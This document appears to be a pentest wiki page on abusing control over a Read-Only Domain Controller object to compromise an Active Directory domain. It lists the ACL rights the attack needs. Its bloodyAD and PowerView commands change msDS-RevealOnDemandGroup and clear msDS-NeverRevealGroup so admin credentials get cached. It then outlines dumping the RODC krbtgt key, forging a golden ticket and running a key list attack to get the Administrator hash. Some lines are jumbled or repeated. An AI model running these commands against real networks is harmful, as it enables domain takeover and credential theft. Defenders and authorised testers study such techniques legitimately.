Rights on RODC object
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With administrative control over the computer object in the Active Directory, there is a path to fully compromise the domain. It is possible to modify the RODC’s msDS-NeverRevealGroup and msDS-RevealOnDemandGroup attributes to allow a Domain Admin to authenticate and dump his credentials via administrative access over the RODC host.
GenericAll / FullControl
WriteDacl (the attacker can modify the DACL and obtain arbitrary permissions)
Owns (c.f. WriteDacl)
WriteOwner (i.e. the attacker can obtain Owns -> WriteDacl -> other permissions)
WriteProperty against the msDS-RevealOnDemandGroupattribute in conjunction with another primitive to gain privileged access to the host. WriteProperty against the msDS-NeverRevealGroup attribute may be required if it includes the target account.
Alternative #1: using bloodyAD
# Get original msDS-RevealOnDemandGroup values
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" get object 'RODC-server$' --attr msDS-RevealOnDemandGroup
distinguishedName: CN=RODC,CN=Computers,DC=domain,DC=local
msDS-RevealOnDemandGroup:
Then, dump the krbtgt_XXXXX key on the RODC server with admin access on the host (this can be done by modifying the managedBy attribute for example), and use it to forge a RODC golden ticket and conduct a key list attack to retrieve the domain Administrator's password hash.
Alternative #2: PowerView python package (Python) can be used to modify the LDAP attribute.
powerview "$DOMAIN"/"$USER":"$PASSWORD"@"RODC_FQDN"
#First, add a domain admin account to the msDS-RevealOnDemandGroup attribute
#Then, append the Allowed RODC Password Replication Group group
PV > Set-DomainObject -Identity RODC-server$ -Set msDS-RevealOnDemandGroup='CN=Administrator,CN=Users,DC=domain,DC=local'
PV
From Windows systems, PowerView (PowerShell) can be used for this purpose.
#First, add a domain admin account to the msDS-RevealOnDemandGroup attribute
Set-DomainObject -Identity RODC-Server$ -Set @{'msDS-RevealOnDemandGroup'=@('CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local', 'CN=Administrator,CN=Users,DC=domain,DC=local')}
#If needed, remove the admin from the msDS-NeverRevealGroup attribute
Set-DomainObject -Identity RODC-Server$ -Clear 'msDS-NeverRevealGroup'Then, dump the krbtgt_XXXXX key on the RODC server with admin access on the host (this can be done by modifying the managedBy attribute for example), and use it to forge a RODC golden ticket and conduct a key list attack to retrieve the domain Administrator's password hash.
